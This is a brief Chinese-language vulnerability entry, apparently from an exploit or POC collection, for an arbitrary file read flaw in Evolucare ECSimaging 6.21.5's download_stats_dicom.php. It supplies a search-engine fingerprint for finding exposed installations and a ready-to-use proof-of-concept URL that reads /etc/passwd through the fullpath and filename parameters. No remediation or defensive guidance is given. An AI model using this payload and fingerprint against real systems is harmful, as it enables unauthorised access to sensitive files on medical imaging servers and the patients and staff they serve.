Evolucare Ecsimaging download_stats_dicom.php 任意文件读取漏洞

漏洞描述

Evolucare Ecsimaging download_stats_dicom.php 存在文件读取漏洞,攻击者可利用该漏洞获取系统敏感信息等.

漏洞影响

EVOLUCARE Evolucare Ecsimaging 6.21.5

网络测绘

body="ECSimaging"

漏洞复现

登录页面

验证POC

/download_stats_dicom.php?fullpath=/etc/passwd&filename=/etc/passwd